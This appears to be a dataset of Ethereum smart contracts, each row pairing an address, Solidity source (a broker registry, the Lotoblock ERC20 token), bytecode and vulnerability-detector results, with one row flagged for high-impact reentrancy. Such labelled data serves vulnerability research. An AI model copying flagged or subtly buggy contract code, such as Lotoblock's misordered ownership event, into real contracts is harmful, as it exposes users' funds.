b6004600087815260200190815260200160002054935061208a600160036000886060015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050611db590919063ffffffff16565b925060036000866060015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156120dc57fe5b906000526020600020015490508060036000876060015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110151561213a57fe5b906000526020600020018190555083600460008381526020019081526020016000208190555060036000866060015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054809190600190036121b6919061256a565b505b60006004600088815260200190815260200160002081905550608060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff168152506002600088815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550905050600160076000876000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115612471576008600087815260200190815260200160002054935061239a600160076000886000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050611db590919063ffffffff16565b925060076000866000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156123ec57fe5b906000526020600020015490508060076000876000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110151561244a57fe5b90600052602060002001819055508360086000838152602001908152602001600020819055505b60076000866000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054809190600190036124c7919061256a565b5060006008600088815260200190815260200160002081905550505050505050565b608060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b815481835581811115612565578183600052602060002091820191016125649190612596565b5b505050565b815481835581811115612591578183600052602060002091820191016125909190612596565b5b505050565b6125b891905b808211156125b457600081600090555060010161259c565b5090565b905600a165627a7a72305820833bd397b41ea363cb4e11162c119ab8214c3b988d0532a7880090b26f87dac20029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 10,589 |
0xeC1f9bd6e554d1ACE36f03B2A6Df522275DAE8DD | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
// Part: MembersInterface
interface MembersInterface {
function setCustodian(address _custodian) external returns (bool);
function addBroker(address broker) external returns (bool);
function removeBroker(address broker) external returns (bool);
function isCustodian(address addr) external view returns (bool);
function isBroker(address addr) external view returns (bool);
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/EnumerableSet
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Members.sol
contract Members is MembersInterface, Ownable {
address public custodian;
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet internal brokers;
constructor(address _owner) public {
require(_owner != address(0), "invalid _owner address");
transferOwnership(_owner);
}
event CustodianSet(address indexed custodian);
function setCustodian(address _custodian) external override onlyOwner returns (bool) {
require(_custodian != address(0), "invalid custodian address");
custodian = _custodian;
emit CustodianSet(_custodian);
return true;
}
event BrokerAdd(address indexed broker);
function addBroker(address broker) external override onlyOwner returns (bool) {
require(broker != address(0), "invalid broker address");
require(brokers.add(broker), "broker add failed");
emit BrokerAdd(broker);
return true;
}
event BrokerRemove(address indexed broker);
function removeBroker(address broker) external override onlyOwner returns (bool) {
require(broker != address(0), "invalid broker address");
require(brokers.remove(broker), "broker remove failed");
emit BrokerRemove(broker);
return true;
}
function isCustodian(address addr) external override view returns (bool) {
return (addr == custodian);
}
function isBroker(address addr) external override view returns (bool) {
return brokers.contains(addr);
}
function getBroker(uint index) external view returns (address) {
return brokers.at(index);
}
function getBrokersCount() external view returns (uint) {
return brokers.length();
}
}
| 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063416a5d8111610071578063416a5d8114610149578063715018a61461015f578063836cae65146101695780638da5cb5b1461017c578063d99d6f9a1461018d578063f2fde38b146101a0576100a9565b80630257f38d146100ae57806322b31d9f146100de57806335c80c8c14610101578063375b74c314610123578063403f373114610136575b600080fd5b6100c16100bc3660046108aa565b6101b3565b6040516001600160a01b0390911681526020015b60405180910390f35b6100f16100ec366004610883565b6101c6565b60405190151581526020016100d5565b6100f161010f366004610883565b6001546001600160a01b0390811691161490565b6001546100c1906001600160a01b031681565b6100f1610144366004610883565b6101d3565b6101516102ac565b6040519081526020016100d5565b6101676102bd565b005b6100f1610177366004610883565b610331565b6000546001600160a01b03166100c1565b6100f161019b366004610883565b610432565b6101676101ae366004610883565b610536565b60006101c0600283610620565b92915050565b60006101c0600283610633565b600080546001600160a01b031633146102075760405162461bcd60e51b81526004016101fe906108c2565b60405180910390fd5b6001600160a01b03821661025d5760405162461bcd60e51b815260206004820152601960248201527f696e76616c696420637573746f6469616e20616464726573730000000000000060448201526064016101fe565b600180546001600160a01b0319166001600160a01b0384169081179091556040517fb88c20a211c5d7677ba2a26c317d8ae6b25aa492016dc8ceca2469761d063d8090600090a2506001919050565b60006102b86002610655565b905090565b6000546001600160a01b031633146102e75760405162461bcd60e51b81526004016101fe906108c2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b0316331461035c5760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0382166103ab5760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642062726f6b6572206164647265737360501b60448201526064016101fe565b6103b660028361065f565b6103f65760405162461bcd60e51b8152602060048201526011602482015270189c9bdad95c881859190819985a5b1959607a1b60448201526064016101fe565b6040516001600160a01b038316907f596fedda579f1f112db492a84dd35c6770886843b38385b17af2e007af1e04fb90600090a2506001919050565b600080546001600160a01b0316331461045d5760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0382166104ac5760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642062726f6b6572206164647265737360501b60448201526064016101fe565b6104b7600283610674565b6104fa5760405162461bcd60e51b8152602060048201526014602482015273189c9bdad95c881c995b5bdd994819985a5b195960621b60448201526064016101fe565b6040516001600160a01b038316907f43c8cbfc72fcbcb9893729c9fc93a10e975730f59577494485111df43ff0f57490600090a2506001919050565b6000546001600160a01b031633146105605760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0381166105c55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101fe565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600061062c8383610689565b9392505050565b6001600160a01b0381166000908152600183016020526040812054151561062c565b60006101c0825490565b600061062c836001600160a01b03841661071d565b600061062c836001600160a01b03841661076c565b815460009082106106e75760405162461bcd60e51b815260206004820152602260248201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e604482015261647360f01b60648201526084016101fe565b82600001828154811061070a57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b6000818152600183016020526040812054610764575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556101c0565b5060006101c0565b600081815260018301602052604081205480156108795760006107906001836108f7565b85549091506000906107a4906001906108f7565b905060008660000182815481106107cb57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050808760000184815481106107fc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092558281526001890190915260409020849055865487908061083d57634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506101c0565b60009150506101c0565b600060208284031215610894578081fd5b81356001600160a01b038116811461062c578182fd5b6000602082840312156108bb578081fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008282101561091557634e487b7160e01b81526011600452602481fd5b50039056fea2646970667358221220b00998544b3515759f42ef144fff3c5bb7c796f8a62cff956864b7fc8f85e4ce64736f6c63430008030033 | {"success": true, "error": null, "results": {}} | 10,590 |
0xf947b0824c3995787efc899017a36bc9f281265e | pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Pausable {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(_value > 0);
require(balances[_to] + _value > balances[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_value > 0);
require(balances[_to] + _value > balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue) whenNotPaused public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) whenNotPaused public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Grantable
* @dev the pre-grant is token to addr, and can be viewed in contract
* when grant, give token to addr in the real authorization
*/
contract Grantable is BasicToken {
using SafeMath for uint256;
mapping(address => uint256) grants;
event PreGrant(address indexed from, address indexed to, uint256 value);
event Grant(address indexed from, address indexed to, uint256 value);
function preGrant(address _to, uint256 _value) onlyOwner whenNotPaused public returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
// Subtract from the sender
grants[_to] = grants[_to].add(_value);
emit PreGrant(msg.sender, _to, _value);
return true;
}
function grant(address _to, uint256 _value) onlyOwner whenNotPaused public returns (bool success) {
require(_to != address(0));
require(_value <= grants[_to]);
require(_value > 0);
grants[_to] = grants[_to].sub(_value);
// Subtract from the sender
balances[_to] = balances[_to].add(_value);
emit Grant(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function grantOf(address _owner) public view returns (uint256) {
return grants[_owner];
}
}
//Lotoblock
contract Lotoblock is StandardToken, Grantable {
using SafeMath for uint256;
string public constant name = "Lotoblock"; // Token Full Name
string public constant symbol = "LOTO"; // Token Simplied Name
uint256 public constant decimals = 8;
uint256 constant totalToken = 100 * (10**16); // Total Token
function Lotoblock() public {
totalSupply = totalToken;
balances[msg.sender] = totalToken;
emit Transfer(address(0), msg.sender, totalSupply);
}
} | 0x6060604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cb57806323b872dd146101f0578063313ce567146102185780633f4ba83a1461022b5780635c975abb146102405780636370920e14610253578063661884631461027557806370a08231146102975780637c6bd3e8146102b65780638456cb59146102d85780638da5cb5b146102eb57806395d6718a1461031a57806395d89b4114610339578063a9059cbb1461034c578063d73dd6231461036e578063dd62ed3e14610390578063f2fde38b146103b5575b600080fd5b341561011657600080fd5b61011e6103d4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015a578082015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a057600080fd5b6101b7600160a060020a036004351660243561040b565b604051901515815260200160405180910390f35b34156101d657600080fd5b6101de61048e565b60405190815260200160405180910390f35b34156101fb57600080fd5b6101b7600160a060020a0360043581169060243516604435610494565b341561022357600080fd5b6101de610661565b341561023657600080fd5b61023e610666565b005b341561024b57600080fd5b6101b76106e5565b341561025e57600080fd5b6101b7600160a060020a03600435166024356106f5565b341561028057600080fd5b6101b7600160a060020a0360043516602435610877565b34156102a257600080fd5b6101de600160a060020a036004351661098c565b34156102c157600080fd5b6101b7600160a060020a03600435166024356109a7565b34156102e357600080fd5b61023e610ae9565b34156102f657600080fd5b6102fe610b6d565b604051600160a060020a03909116815260200160405180910390f35b341561032557600080fd5b6101de600160a060020a0360043516610b7c565b341561034457600080fd5b61011e610b97565b341561035757600080fd5b6101b7600160a060020a0360043516602435610bce565b341561037957600080fd5b6101b7600160a060020a0360043516602435610d14565b341561039b57600080fd5b6101de600160a060020a0360043581169060243516610dd0565b34156103c057600080fd5b61023e600160a060020a0360043516610dfb565b60408051908101604052600981527f4c6f746f626c6f636b0000000000000000000000000000000000000000000000602082015281565b60015460009060a060020a900460ff161561042557600080fd5b600160a060020a03338116600081815260036020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b60015460009060a060020a900460ff16156104ae57600080fd5b600160a060020a03831615156104c357600080fd5b600160a060020a0384166000908152600260205260409020548211156104e857600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561051b57600080fd5b6000821161052857600080fd5b600160a060020a0383166000908152600260205260409020548281011161054e57600080fd5b600160a060020a038416600090815260026020526040902054610577908363ffffffff610e8a16565b600160a060020a0380861660009081526002602052604080822093909355908516815220546105ac908363ffffffff610e9c16565b600160a060020a038085166000908152600260209081526040808320949094558783168252600381528382203390931682529190915220546105f4908363ffffffff610e8a16565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600881565b60015433600160a060020a0390811691161461068157600080fd5b60015460a060020a900460ff16151561069957600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60015460a060020a900460ff1681565b60015460009033600160a060020a0390811691161461071357600080fd5b60015460a060020a900460ff161561072a57600080fd5b600160a060020a038316151561073f57600080fd5b600160a060020a03831660009081526004602052604090205482111561076457600080fd5b6000821161077157600080fd5b600160a060020a03831660009081526004602052604090205461079a908363ffffffff610e8a16565b600160a060020a0384166000908152600460209081526040808320939093556002905220546107cf908363ffffffff610e9c16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fdc1e872d7927b949dd471e2dd9d43153685b5564c9a6aaf82246e27c0a9f2a289085905190815260200160405180910390a382600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600154600090819060a060020a900460ff161561089357600080fd5b50600160a060020a03338116600090815260036020908152604080832093871683529290522054808311156108ef57600160a060020a033381166000908152600360209081526040808320938816835292905290812055610926565b6108ff818463ffffffff610e8a16565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526002602052604090205490565b60015460009033600160a060020a039081169116146109c557600080fd5b60015460a060020a900460ff16156109dc57600080fd5b600160a060020a03831615156109f157600080fd5b600160a060020a033316600090815260026020526040902054821115610a1657600080fd5b60008211610a2357600080fd5b600160a060020a033316600090815260026020526040902054610a4c908363ffffffff610e8a16565b600160a060020a03338116600090815260026020908152604080832094909455918616815260049091522054610a88908363ffffffff610e9c16565b600160a060020a0380851660008181526004602052604090819020939093559133909116907fccc0446bd51e7316903630d452643afa2e080740919718b1e96cfed97d78b8489085905190815260200160405180910390a350600192915050565b60015433600160a060020a03908116911614610b0457600080fd5b60015460a060020a900460ff1615610b1b57600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600154600160a060020a031681565b600160a060020a031660009081526004602052604090205490565b60408051908101604052600481527f4c4f544f00000000000000000000000000000000000000000000000000000000602082015281565b60015460009060a060020a900460ff1615610be857600080fd5b600160a060020a0383161515610bfd57600080fd5b600160a060020a033316600090815260026020526040902054821115610c2257600080